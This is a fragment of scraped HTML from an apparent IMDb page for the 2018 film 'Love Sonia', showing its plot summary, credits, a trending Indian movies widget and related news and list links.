none;"><h2>Error</h2> Please try again!</div> <div class="hidden success" style="display: none;"><h2>Added to Your Check-Ins.</h2> <a href="/list/checkins">View</a></div> </div> <textarea data-msg="Enter a comment..." class="placeholder"></textarea> <div class="share"> <button class="large primary btn"><span>Check in</span></button> <!-- Check-ins are more fun when<br> you <a href="/register/sharing">enable Facebook sharing</a>! --> </div> </div> </div> <input type="hidden" name="49e6c" value="fbbd"> </div> </div> <div class="quicklinkSection" id="full_subnav" style="display:none"> <div class="quicklinkSectionColumn"> <div class="quicklinkGroup"> <div class="quicklinkSectionHeader">DETAILS</div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/fullcredits?ref_=tt_ql_dt_1" class="quicklink">Full Cast and Crew</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/releaseinfo?ref_=tt_ql_dt_2" class="quicklink">Release Dates</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/officialsites?ref_=tt_ql_dt_3" class="quicklink">Official Sites</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/companycredits?ref_=tt_ql_dt_4" class="quicklink">Company Credits</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/locations?ref_=tt_ql_dt_5" class="quicklink">Filming &amp; Production</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/technical?ref_=tt_ql_dt_6" class="quicklink">Technical Specs</a> </div> </div> </div> <div class="quicklinkSectionColumn"> <div class="quicklinkGroup"> <div class="quicklinkSectionHeader">STORYLINE</div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/taglines?ref_=tt_ql_stry_1" class="quicklink quicklinkGray">Taglines</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/plotsummary?ref_=tt_ql_stry_2" class="quicklink">Plot Summary</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/synopsis?ref_=tt_ql_stry_3" class="quicklink quicklinkGray">Synopsis</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/keywords?ref_=tt_ql_stry_4" class="quicklink quicklinkGray">Plot Keywords</a> </div> </div> <div class="quicklinkGroup"> <div class="quicklinkSectionHeader">RELATED ITEMS</div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/news?ref_=tt_ql_rel_1" class="quicklink">News</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/externalsites?ref_=tt_ql_rel_2" class="quicklink">External Sites</a> </div> </div> </div> <div class="quicklinkSectionColumn"> <div class="quicklinkGroup"> <div class="quicklinkSectionHeader">OPINION</div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/awards?ref_=tt_ql_op_1" class="quicklink quicklinkGray">Awards</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/faq?ref_=tt_ql_op_2" class="quicklink quicklinkGray">FAQ</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/reviews?ref_=tt_ql_op_3" class="quicklink quicklinkGray">User Reviews</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/ratings?ref_=tt_ql_op_4" class="quicklink quicklinkGray">User Ratings</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/externalreviews?ref_=tt_ql_op_5" class="quicklink quicklinkGray">External Reviews</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/criticreviews?ref_=tt_ql_op_6" class="quicklink quicklinkGray">Metacritic Reviews</a> </div> </div> <div class="quicklinkGroup"> <div class="quicklinkSectionHeader">PHOTO &amp; VIDEO</div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/mediaindex?ref_=tt_ql_pv_1" class="quicklink">Photo Gallery</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/videogallery?ref_=tt_ql_pv_2" class="quicklink quicklinkGray">Trailers and Videos</a> </div> </div> </div> <div class="quicklinkSectionColumn"> <div class="quicklinkGroup"> <div class="quicklinkSectionHeader">DID YOU KNOW?</div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/trivia?ref_=tt_ql_trv_1" class="quicklink">Trivia</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/goofs?ref_=tt_ql_trv_2" class="quicklink quicklinkGray">Goofs</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/crazycredits?ref_=tt_ql_trv_3" class="quicklink quicklinkGray">Crazy Credits</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/quotes?ref_=tt_ql_trv_4" class="quicklink quicklinkGray">Quotes</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/alternateversions?ref_=tt_ql_trv_5" class="quicklink quicklinkGray">Alternate Versions</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/movieconnections?ref_=tt_ql_trv_6" class="quicklink quicklinkGray">Connections</a> </div> <div class="quicklinkSectionItem"> <a href="/title/tt3823392/soundtrack?ref_=tt_ql_trv_7" class="quicklink quicklinkGray">Soundtracks</a> </div> </div> </div> </div> </div> <div class="title_block"> <div class="title_bar_wrapper"> <div class="titleBar"> <div class="primary_ribbon"> <div class="ribbonize" data-tconst="tt3823392" data-caller-name="title" style="position: relative;"><div class="wl-ribbon standalone retina not-inWL" title="Click to add to watchlist"></div></div> <div class="wlb_dropdown_btn btn2_wrapper btn2_active wlb_dropdown" data-tconst="tt3823392" data-size="large" data-caller-name="title" data-type="primary" data-initialized="1"><div class="btn2_alert" style="display:none"></div><a class="btn2 large primary btn2_glyph_on" onclick="><span class="btn2_glyph"><div class="btn2_down"></div></span><span class="btn2_text"></span></a></div> <div class="wlb_dropdown_list" style="display:none"></div> </div> <div class="title_wrapper"> <h1 class=">Love Sonia&nbsp;<span id="titleYear">(<a href="/year/2018/?ref_=tt_ov_inf">2018</a>)</span> </h1> <div class="subtext"> <a href="/genre/Drama?ref_=tt_ov_inf">Drama</a>, <a href="/genre/Drama?ref_=tt_ov_inf">Music</a> <span class="ghost">|</span> <a href="/title/tt3823392/releaseinfo?ref_=tt_ov_inf" title="See more release dates">14 September 2018 (India) </a> </div> </div> </div> </div> </div> </div> <div class="minPosterWithPlotSummaryHeight"> <div class="poster"> <a href="/title/tt3823392/mediaviewer/rm3848225024?ref_=tt_ov_i"> <img alt="Love Sonia Poster" title="Love Sonia Poster" src="https://m.media-amazon.com/images/M/MV5BNmZhY2FjNmItOGRiNi00MjRlLWJlMGEtOGFjZWE0NmM0ODgyXkEyXkFqcGdeQXVyNzc4NzEwNTc@._V1_UX182_CR0,0,182,268_AL_.jpg"> </a> </div> <div class="plot_summary_wrapper"> <script> if (\'csm\' in window) { csm.measure(\'csm_TitlePlotAndCreditSummaryWidget_started\'); } </script> <div class="plot_summary minPlotHeightWithPoster"> <div class="summary_text"> Inspired by real life events, Love Sonia is the story of a young girl\'s journey to rescue her sister from the dangerous world of international sex trafficking. </div> <div class="credit_summary_item"> <h4 class="inline">Director:</h4> <a href="/name/nm0634782/?ref_=tt_ov_dr">Tabrez Noorani</a> </div> <div class="credit_summary_item"> <h4 class="inline">Writers:</h4> <a href="/name/nm6588801/?ref_=tt_ov_wr">Ted Caplan</a>, <a href="/name/nm0634782/?ref_=tt_ov_wr">Tabrez Noorani</a> (story) <span class="ghost">|</span> <a href="fullcredits?ref_=tt_ov_wr#writers/">2 more credits</a>&nbsp;» </div> <div class="credit_summary_item"> <h4 class="inline">Stars:</h4> <a href="/name/nm0000193/?ref_=tt_ov_st_sm">Demi Moore</a>, <a href="/name/nm0243233/?ref_=tt_ov_st_sm">Mark Duplass</a>, <a href="/name/nm2951768/?ref_=tt_ov_st_sm">Freida Pinto</a> <span class="ghost">|</span> <a href="fullcredits/?ref_=tt_ov_st_sm">See full cast &amp; crew</a>&nbsp;» </div> </div> <script> if (\'csm\' in window) { csm.measure(\'csm_TitlePlotAndCreditSummaryWidget_finished\'); } </script> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleReviewsAndPopularityWidget_started\'); } </script> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleReviewsAndPopularityWidget_finished\'); } </script> </div> </div> </div> <script> if (\'csm\' in window) { csm.measure(\'csm_TitleOverviewWidget_finished\'); } </script> </div> <script> if (typeof uet == \'function\') { uet("af"); } </script> <script> if (\'csm\' in window) { csm.measure(\'csm_atf_main\'); } </script> </div> <script> if (typeof uet == \'function\') { uet("cf"); } </script> <div id="sidebar"> <!-- begin TOP_RHS --> <div id="top_rhs_wrapper" class="cornerstone_slot"> <script type="text/javascript"> doWithAds(function(){ if (\'cornerstone_slot\' != \'injected_slot\') { ad_utils.register_ad(\'top_rhs\'); } }); </script> <iframe allowtransparency="true" class="yesScript" data-blank-serverside=" frameborder="0" id="top_rhs" marginwidth="0" marginheight="0" name="top_rhs" onload="doWithAds.call(this, function(){ ad_utils.on_ad_load(this); });" scrolling="no" data-original-width="300" data-original-height="250" width="300" height="250" __idm_frm__="122"></iframe> </div> <div id="top_rhs_reflow_helper"></div> <div id="top_rhs_after" class="after_ad" style="visibility:hidden;"> <a class="yesScript" href="#" onclick="ad_utils.show_ad_feedback(\'top_rhs\');return false;" id="ad_feedback_top_rhs">ad feedback</a> </div> <script id="top_rhs_rendering"> doWithAds(function(){ if (\'cornerstone_slot\' == \'cornerstone_slot\') { ad_utils.inject_serverside_ad(\'top_rhs\', \'\'); } else if (\'cornerstone_slot\' == \'injected_slot\') { ad_utils.inject_ad.register(\'top_rhs\'); } else { ad_utils.gpt.render_ad(\'top_rhs\'); } }, "ad_utils not defined, unable to render client-side GPT ad or injected ad."); </script> <!-- End TOP_RHS --> <script> if (\'csm\' in window) { csm.measure(\'csm_atf_sidebar\'); } </script> <a name="slot_right-2"></a> <div class="mini-article"> <script type="text/javascript">if(typeof uet === \'function\'){uet(\'bb\',\'SubsetTrendingWidget\',{wb:1});}</script> <span class="ab_widget"> <div class="ab_subset_trending" style="min-height:397px"> <input id="subset-trending-titles-list" type="hidden" value="ls066500036"> <input id="subset-trending-update-frequency" type="hidden" value="600&quot;"> <input id="subset-trending-token" type="hidden" value="BCYgKXGNCJix13uscJXojxyBrpDjkjnJQGifj8QhD1x9sAURO_5gG3aYs1qkmgHl2xUxPCO0yGNP MxUOJijDysOXBNcQ63cyEhPS4-MwUd7TZZMaRgtq6cmepIt6bTCi-9nZLirwqjtOUABJ9TM9r3LF 7B_ix4J-OOxBEfd3AEHN9RgBFbZre9LnCywJnNkuqHvglbtYLp288iy3FmQsdUclhI53eKfmMkUJ VFflYPXkXz0 "> <input id="subset-trending-dataset" type="hidden" value="india"> <input id="subset-trending-first-tab" type="hidden" value="People"> <div id="trending-modal-overlay" class="trending-modal-overlay"></div> <div id="trending-info-modal" class="trending-modal"> <div class="trending-info-modal-header-container"> <div class="trending-info-modal-about">About</div> <div class="trending-info-close"> <div class="trending-modal-close-image trending-info-close-image"></div> </div> </div> <div class="trending-info-modal-content"> <p>The "Most Anticipated Indian Movies and Shows" widget tracks the real-time popularity of relevant pages on IMDb, and displays those that are currently generating the highest number of pageviews on IMDb.</p> <p>Each title is ranked according to its share of pageviews among the items displayed. Pageviews for each item are divided by the aggregate number of pageviews generated by the items displayed.</p> </div> </div> <!-- end trending-info-modal --> <div id="show-trending-modal" data-show-modal="false"> </div> <div id="trending-container" class="trending-container" data-view="LIST"> <div class="trending-menu-container"> <!-- header --> <div class="trending-header-container"> <div class="trending-header-heading"> <div class="trending-title" style="opacity: 1;">Most Anticipated Indian Movies and Shows</div> <div class="trending-last-updated" style="opacity: 1;">Real-time popularity on IMDb <span class="ranking-last-update-time" style="opacity: 1;">(7:42:39 Iran Daylight Time)</span></div> </div> <div class="trending-about-container"> <div class="trending-about-img"></div> </div> </div> <!-- menu --> </div> <!-- end trending-menu-container --> <!-- List view --> <div class="trending-list-view-container" style="opacity: 1; display: inline-block;"> <div class="trending-list-rank-item-info" style="visibility: visible; opacity: 1;">% OF TOP 10 PAGE VIEWS</div> <div class="trending-list-rank-items-container" style="visibility: visible; opacity: 1;"> <!-- list items --> <div id="trending-list-rank-item-1" class="trending-list-rank-item"> <div id="trending-list-rank-item-image-1" class="trending-list-rank-item-image" style="background-image: url(&quot;https://m.media-amazon.com/images/M/MV5BNmZhY2FjNmItOGRiNi00MjRlLWJlMGEtOGFjZWE0NmM0ODgyXkEyXkFqcGdeQXVyNzc4NzEwNTc@._V1_SX135.jpg&quot;);"></div> <div class="trending-list-rank-item-data-container"> <span id="trending-list-rank-item-rank-position-number-sign-1" class="trending-list-rank-item-rank-position-number-sign">#</span> <span id="trending-list-rank-item-rank-position-1" class="trending-list-rank-item-rank-position">1</span> <span id="trending-list-rank-item-name-1" class="trending-list-rank-item-name"><a href="/title/tt3823392/?ref_=india_t_up">Love Sonia</a></span> <span id="trending-list-rank-item-share-1" class="trending-list-rank-item-share" style="opacity: 1;">30.9%</span> </div> </div> <div id="trending-list-rank-item-2" class="trending-list-rank-item"> <div id="trending-list-rank-item-image-2" class="trending-list-rank-item-image" style="background-image: url(&quot;https://m.media-amazon.com/images/M/MV5BZWZjODA1MmUtYmU0My00M2JiLTk2ODEtYzMxODJmMTM5MzY1XkEyXkFqcGdeQXVyODE5NzE3OTE@._V1_SX135.jpg&quot;);"></div> <div class="trending-list-rank-item-data-container"> <span id="trending-list-rank-item-rank-position-number-sign-2" class="trending-list-rank-item-rank-position-number-sign">#</span> <span id="trending-list-rank-item-rank-position-2" class="trending-list-rank-item-rank-position">2</span> <span id="trending-list-rank-item-name-2" class="trending-list-rank-item-name"><a href="/title/tt8011276/?ref_=india_t_up">Laila Majnu</a></span> <span id="trending-list-rank-item-share-2" class="trending-list-rank-item-share" style="opacity: 1;">21.3%</span> </div> </div> <div id="trending-list-rank-item-3" class="trending-list-rank-item"> <div id="trending-list-rank-item-image-3" class="trending-list-rank-item-image" style="background-image: url(&quot;https://m.media-amazon.com/images/M/MV5BMjk4NGZiMzAtODU1NS00MmQ4LWJiNmQtNWU5ZWU4Y2VmNWI0XkEyXkFqcGdeQXVyODE5NzE3OTE@._V1_SX135.jpg&quot;); opacity: 1;"></div> <div class="trending-list-rank-item-data-container"> <span id="trending-list-rank-item-rank-position-number-sign-3" class="trending-list-rank-item-rank-position-number-sign" style="opacity: 1;">#</span> <span id="trending-list-rank-item-rank-position-3" class="trending-list-rank-item-rank-position" style="opacity: 1;">3</span> <span id="trending-list-rank-item-name-3" class="trending-list-rank-item-name" style="opacity: 1;">Stree</span> <span id="trending-list-rank-item-share-3" class="trending-list-rank-item-share" style="opacity: 1;">12.5%</span> </div> </div> <div id="trending-list-rank-item-4" class="trending-list-rank-item"> <div id="trending-list-rank-item-image-4" class="trending-list-rank-item-image" style="background-image: url(&quot;https://m.media-amazon.com/images/M/MV5BNzdiNWVkOGItNjg2MC00YjE0LWExM2UtN2JjNjdkNGEzMzEyXkEyXkFqcGdeQXVyODE5NzE3OTE@._V1_SX135.jpg&quot;); opacity: 1;"></div> <div class="trending-list-rank-item-data-container"> <span id="trending-list-rank-item-rank-position-number-sign-4" class="trending-list-rank-item-rank-position-number-sign" style="opacity: 1;">#</span> <span id="trending-list-rank-item-rank-position-4" class="trending-list-rank-item-rank-position" style="opacity: 1;">4</span> <span id="trending-list-rank-item-name-4" class="trending-list-rank-item-name" style="opacity: 1;">Batti Gul Meter Chalu</span> <span id="trending-list-rank-item-share-4" class="trending-list-rank-item-share" style="opacity: 1;">6.8%</span> </div> </div> <div id="trending-list-rank-item-5" class="trending-list-rank-item"> <div id="trending-list-rank-item-image-5" class="trending-list-rank-item-image" style="background-image: url(&quot;https://m.media-amazon.com/images/M/MV5BNDUxYWMyMWYtMTYzZi00ODNkLThhNDQtYWM4NDFkMWZiMjAzXkEyXkFqcGdeQXVyNjgxMDE5NjU@._V1_SX257.5.jpg&quot;); opacity: 1;"></div> <div class="trending-list-rank-item-data-container"> <span id="trending-list-rank-item-rank-position-number-sign-5" class="trending-list-rank-item-rank-position-number-sign" style="opacity: 1;">#</span> <span id="trending-list-rank-item-rank-position-5" class="trending-list-rank-item-rank-position" style="opacity: 1;">5</span> <span id="trending-list-rank-item-name-5" class="trending-list-rank-item-name" style="opacity: 1;">Sarabha</span> <span id="trending-list-rank-item-share-5" class="trending-list-rank-item-share" style="opacity: 1;">6.8%</span> </div> </div> <div id="trending-list-rank-item-6" class="trending-list-rank-item"> <div id="trending-list-rank-item-image-6" class="trending-list-rank-item-image" style="background-image: url(&quot;https://m.media-amazon.com/images/M/MV5BYzhiMzY2ZmQtOWRhNy00MzJjLTkwOWItYTdiYzFjM2NjNDU1XkEyXkFqcGdeQXVyODE5NzE3OTE@._V1_SX135.jpg&quot;); opacity: 1;"></div> <div class="trending-list-rank-item-data-container"> <span id="trending-list-rank-item-rank-position-number-sign-6" class="trending-list-rank-item-rank-position-number-sign" style="opacity: 1;">#</span> <span id="trending-list-rank-item-rank-position-6" class="trending-list-rank-item-rank-position" style="opacity: 1;">6</span> <span id="trending-list-rank-item-name-6" class="trending-list-rank-item-name" style="opacity: 1;">Paltan</span> <span id="trending-list-rank-item-share-6" class="trending-list-rank-item-share" style="opacity: 1;">5.1%</span> </div> </div> <div id="trending-list-rank-item-7" class="trending-list-rank-item"> <div id="trending-list-rank-item-image-7" class="trending-list-rank-item-image" style="background-image: url(&quot;https://m.media-amazon.com/images/M/MV5BMjZkODJiNDMtYjI4MS00NTQ3LWI5ZWQtN2E4ZmNmNTE3ZGVmXkEyXkFqcGdeQXVyMTMxODk2OTU@._V1_SX135.jpg&quot;); opacity: 1;"></div> <div class="trending-list-rank-item-data-container"> <span id="trending-list-rank-item-rank-position-number-sign-7" class="trending-list-rank-item-rank-position-number-sign" style="opacity: 1;">#</span> <span id="trending-list-rank-item-rank-position-7" class="trending-list-rank-item-rank-position" style="opacity: 1;">7</span> <span id="trending-list-rank-item-name-7" class="trending-list-rank-item-name" style="opacity: 1;">Manto</span> <span id="trending-list-rank-item-share-7" class="trending-list-rank-item-share" style="opacity: 1;">4.9%</span> </div> </div> <div id="trending-list-rank-item-8" class="trending-list-rank-item"> <div id="trending-list-rank-item-image-8" class="trending-list-rank-item-image" style="background-image: url(&quot;https://m.media-amazon.com/images/M/MV5BYTAxNTFhMjgtYzcyOC00YTk5LThjNDQtZDg2YTQyMGU3MWYxXkEyXkFqcGdeQXVyMjkxNzQ1NDI@._V1_SX135.jpg&quot;); opacity: 1;"></div> <div class="trending-list-rank-item-data-container"> <span id="trending-list-rank-item-rank-position-number-sign-8" class="trending-list-rank-item-rank-position-number-sign" style="opacity: 1;">#</span> <span id="trending-list-rank-item-rank-position-8" class="trending-list-rank-item-rank-position" style="opacity: 1;">8</span> <span id="trending-list-rank-item-name-8" class="trending-list-rank-item-name" style="opacity: 1;">Oru Adaar Love</span> <span id="trending-list-rank-item-share-8" class="trending-list-rank-item-share" style="opacity: 1;">4.3%</span> </div> </div> <div id="trending-list-rank-item-9" class="trending-list-rank-item"> <div id="trending-list-rank-item-image-9" class="trending-list-rank-item-image" style="background-image: url(&quot;https://m.media-amazon.com/images/M/MV5BOTk0YjhkZDQtODM2OC00MDc5LThlMDItZDZiNmNjOTg4YTYwXkEyXkFqcGdeQXVyNTgxODY5ODI@._V1_SX135.jpg&quot;); opacity: 1;"></div> <div class="trending-list-rank-item-data-container"> <span id="trending-list-rank-item-rank-position-number-sign-9" class="trending-list-rank-item-rank-position-number-sign" style="opacity: 1;">#</span> <span id="trending-list-rank-item-rank-position-9" class="trending-list-rank-item-rank-position" style="opacity: 1;">9</span> <span id="trending-list-rank-item-name-9" class="trending-list-rank-item-name" style="opacity: 1;">Aravindha Sametha Veera Raghava</span> <span id="trending-list-rank-item-share-9" class="trending-list-rank-item-share" style="opacity: 1;">4.1%</span> </div> </div> <div id="trending-list-rank-item-10" class="trending-list-rank-item"> <div id="trending-list-rank-item-image-10" class="trending-list-rank-item-image" style="background-image: url(&quot;https://m.media-amazon.com/images/M/MV5BM2NiODY3ZTQtNGMyMi00OGVjLTg0MGMtN2RmM2ViYWYyODcyXkEyXkFqcGdeQXVyMTkzOTcxOTg@._V1_SX135.jpg&quot;);"></div> <div class="trending-list-rank-item-data-container"> <span id="trending-list-rank-item-rank-position-number-sign-10" class="trending-list-rank-item-rank-position-number-sign">#</span> <span id="trending-list-rank-item-rank-position-10" class="trending-list-rank-item-rank-position">10</span> <span id="trending-list-rank-item-name-10" class="trending-list-rank-item-name"><a href="/title/tt7147540/?ref_=india_t_up">Sui Dhaaga: Made in India</a></span> <span id="trending-list-rank-item-share-10" class="trending-list-rank-item-share" style="opacity: 1;">3.1%</span> </div> </div> <!-- end list items --> </div> </div> <!-- end trending-list-view-container --> </div> <!-- end trending-container --> </div> <!-- end ab_subset_trending --> </span> <script type="text/javascript"> if(typeof uex === \'function\'){uex(\'ld\',\'SubsetTrendingWidget\',{wb:1});} </script> </div> <a name="slot_right-3"></a> <div class="mini-article"> <script type="text/javascript">if(typeof uet === \'function\'){uet(\'bb\',\'NinjaWidget\',{wb:1});}</script> <span class="ab_widget"> <div class="ab_ninja"> <span class="widget_header"> <span class="oneline"> <a href="/list/ls025849840/videoplayer/vi3273112345?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=b5ac5c88-b9d1-433d-8e7f-0a2bd0e90315&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=right-3&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_ecw_2147_jl_hd"> <h3> "Castle Rock" Star Jane Levy on Her Attraction to Horror</h3> </a> </span> </span> <div class="widget_content no_inline_blurb"> <div class="widget_nested"> <div class="ninja_image_pack"> <div class="ninja_center"> <div class="ninja_image first_image last_image" style="width:307px;height:auto;"> <div style="width:307px;height:auto;margin:0 auto;"> <div class="widget_image"> <div class="image"> <a href="/list/ls025849840/videoplayer/vi3273112345?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=b5ac5c88-b9d1-433d-8e7f-0a2bd0e90315&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=right-3&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_ecw_2147_jl_i_1" class="video-modal" data-refsuffix="tt_ecw_2147_jl" data-ref="tt_ecw_2147_jl_i_1"> <img class="pri_image" title="The IMDb Show (2017-)" alt="The IMDb Show (2017-)" src="https://m.media-amazon.com/images/M/MV5BMjA2Mzc4MjQyOV5BMl5BanBnXkFtZTgwODMyMjgxNjM@._V1_SY230_SX307_AL_.jpg"> <img alt="The IMDb Show (2017-)" title="The IMDb Show (2017-)" class="image_overlay overlay_mouseout" src="https://m.media-amazon.com/images/G/01/IMDb/icon/play-button._CB318667375_.png" data-src-x2="https://m.media-amazon.com/images/G/01/IMDb/icon/play-button._CB318667375_.png"> <img alt="The IMDb Show (2017-)" title="The IMDb Show (2017-)" class="image_overlay overlay_mouseover" src="https://m.media-amazon.com/images/G/01/IMDb/icon/play-button-hover._CB318667374_.png" data-src-x2="https://m.media-amazon.com/images/G/01/IMDb/icon/play-button-hover._CB318667374_.png"> </a> </div> </div> </div> </div> </div> </div> </div> </div> <p class="blurb">As <a href="/name/nm3994408?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=b5ac5c88-b9d1-433d-8e7f-0a2bd0e90315&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=right-3&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_ecw_2147_jl_lk1">Jane Levy</a> peels back the layers of "<a href="/title/tt6548228?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=b5ac5c88-b9d1-433d-8e7f-0a2bd0e90315&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=right-3&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_ecw_2147_jl_lk2">Castle Rock</a>," she reveals what attracts her to the horror genre and why horror fans are unlike any others.</p> <p class="seemore"><a href="/list/ls025849840/videoplayer/vi3273112345?pf_rd_m=A2FGELUUNOQJNL&amp;pf_rd_p=b5ac5c88-b9d1-433d-8e7f-0a2bd0e90315&amp;pf_rd_r=RC4M9JGT86H72N9QM0HS&amp;pf_rd_s=right-3&amp;pf_rd_t=15021&amp;pf_rd_i=tt3823392&amp;ref_=tt_ecw_2147_jl_sm" class="position_bottom supplemental"> Hear more from Jane</a></p> </div> </span> <script type="text/javascript"> if(typeof uex === \'function\'){uex(\'ld\',\'NinjaWidget\',{wb:1});} </script> </div> <script> if (typeof uet == \'function\') { uet("bb", "RelatedNewsWidgetRHS", {wb: 1}); } </script> <script> if (\'csm\' in window) { csm.measure(\'csm_RelatedNewsWidgetRHS_started\'); } </script> <div class="mini-article"> <h3>Related News</h3> <ul class="ipl-simple-list"> <li class="news_item"> <a href="/news/ni62183199?ref_=tt_nwr1"> The incredible and hard hitting Love Sonia Trailer </a><br> <small> <span>6 hours ago</span> <span>|</span> <span>Bollyspice</span> </small> </li> <li class="news_item"> <a href="/news/ni62172288?ref_=tt_nwr2"> Tabrez Noorani’s Love Sonia wins big at The Indian film festival of Melbourne 2018 </a><br> <small> <span>15 August 2018</span> <span>|</span> <span>Bollyspice</span> </small> </li> <li class="news_item"> <a href="/news/ni62142943?ref_=tt_nwr3"> Love Sonia Nominated at Indian Film Festival of Melbourne! </a><br> <small> <span>22 July 2018</span> <span>|</span> <span>Bollyspice</span> </small> </li> </ul> <div class="see-more"> <a href="/title/tt3823392/news?ref_=tt_nwr_sm">See all related articles</a>&nbsp;» </div> </div> <script> if (\'csm\' in window) { csm.measure(\'csm_RelatedNewsWidgetRHS_finished\'); } </script> <script> if (typeof uet == \'function\') { uet("be", "RelatedNewsWidgetRHS", {wb: 1}); } </script> <script> if (typeof uex == \'function\') { uex("ld", "RelatedNewsWidgetRHS", {wb: 1}); } </script> <!-- no content received for slot: middle_rhs --> <a name="slot_right-7"></a> <div class="mini-article"> <script type="text/javascript">if(typeof uet === \'function\'){uet(\'bb\',\'ZergnetWidget\',{wb:1});}</script> <span class="ab_widget"> <div class="ab_zergnet"> <span class="widget_header"> <span class="oneline"> <h3> Around The Web</h3> <span>&nbsp;|&nbsp;</span> <h4> Powered by ZergNet</h4> </span> </span> <div class="widget_content no_inline_blurb"> <div class="widget_nested"> <iframe class="zergnet-frame__sidebar" scrolling="no" seamless=" src="https://m.media-amazon.com/images/G/01/imdb/html/zergnet-3826556079._CB470047339_.html?widgetId=47009"></iframe> </div> </div> </div> </span> <script type="text/javascript"> if(typeof uex === \'function\'){uex(\'ld\',\'ZergnetWidget\',{wb:1});} </script> </div> <script> if (typeof uet == \'function\') { uet("bb", "RelatedEditorialListsWidget", {wb: 1}); } </script> <div class="mini-article"> <div id="relatedEditorialListsWidget"> <h3>Editorial Lists</h3> <p>Related lists from IMDb editors</p> <div class="list-preview even"> <div class="list-preview-item-narrow"> <a href="/list/ls023800673?ref_=tt_rels_1"><img height="86" width="86" alt="list image" title="list image" src="https://m.media-amazon.com/images/M/MV5BOWE0MTM2MjItMTI1ZS00ZGRlLWExYmUtYjEzNzRhNDgyOGRjXkEyXkFqcGdeQXVyODE5NzE3OTE@._V1_UX86_CR0,0,86,86_AL_.jpg" class="loadlate"></a> </div> <div class="list_name"> <strong><a href="/list/ls023800673?ref_=tt_rels_1"> Most Anticipated Indian Movies: April 2018 </a></strong> </div> <div class="list_meta"> a list of 19 titles <br>updated 4&nbsp;months&nbsp;ago </div> <div class="clear">&nbsp;</div> </div> </div> </div> <script> if (typeof uet == \'function\') { uet("be", "RelatedEditorialListsWidget", {wb: 1}); } </script> <script> if (typeof uex == \'function\') { uex("ld", "RelatedEditorialListsWidget", {wb: 1}); } </script> <script> if (typeof uet == \'function\') { uet("bb", "RelatedListsWidget", {wb: 1}); } </script> <div class="mini-article"> <div id="relatedListsWidget"> <div class="rightcornerlink"> <a href="/list/create?ref_=tt_rls">Create a list</a>&nbsp;» </div> <h3>User Lists</h3> <p>Related lists from IMDb users</p> <div class="list-preview even"> <div class="list-preview-item-narrow"> <a href="/list/ls059273528?ref_=tt_rls_1"><img height="86" width="86" alt="list image" title="list image" src="https://m.media-amazon.com/images/G/01/imdb/images/nopicture/medium/film-3385785534._CB470041827_.png" class="></a> </div> <div class="list_name"> <strong><a href="/list/ls059273528?ref_=tt_rls_1"> Movies I want to see! </a></strong> </div> <div class="list_meta"> a list of 34 titles <br>created 09&nbsp;Feb&nbsp;2014 </div> <div class="clear">&nbsp;</div> </div> <div class="list-preview odd"> <div class="list-preview-item-narrow"> <a href="/list/ls027965490?ref_=tt_rls_2"><img height="86" width="86" alt="list image" title="list image" src="https://m.media-amazon.com/images/M/MV5BYTYxNGE5MTgtN2YxYS00ODYyLWE1YzQtYzNlMzAyMTBlMWZhXkEyXkFqcGdeQXVyMzcwOTk0MzU@._V1_UX86_CR0,0,86,86_AL_.jpg" class="loadlate"></a> </div> <div class="list_name"> <strong><a href="/list/ls027965490?ref_=tt_rls_2"> 2018 Indian Movies </a></strong> </div> <div class="list_meta"> a list of 47 titles <br>created 7&nbsp;months&nbsp;ago </div> <div class="clear">&nbsp;</div> </div> <div class="list-preview even"> <div class="list-preview-item-narrow"> <a href="/list/ls076709098?ref_=tt_rls_3"><img height="86" width="86" alt="list image" title="list image" src="https://m.media-amazon.com/images/M/MV5BMTIxNTE2MTY1Ml5BMl5BanBnXkFtZTYwODYyMTc2._V1_UX86_CR0,0,86,86_AL_.jpg" class="loadlate"></a> </div> <div class="list_name"> <strong><a href="/list/ls076709098?ref_=tt_rls_3"> mustWatch </a></strong> </div> <div class="list_meta"> a list of 45 titles <br>created 17&nbsp;Feb&nbsp;2015 </div> <div class="clear">&nbsp;</div> </div> <div class="list-preview odd"> <div class="list-preview-item-narrow"> <a 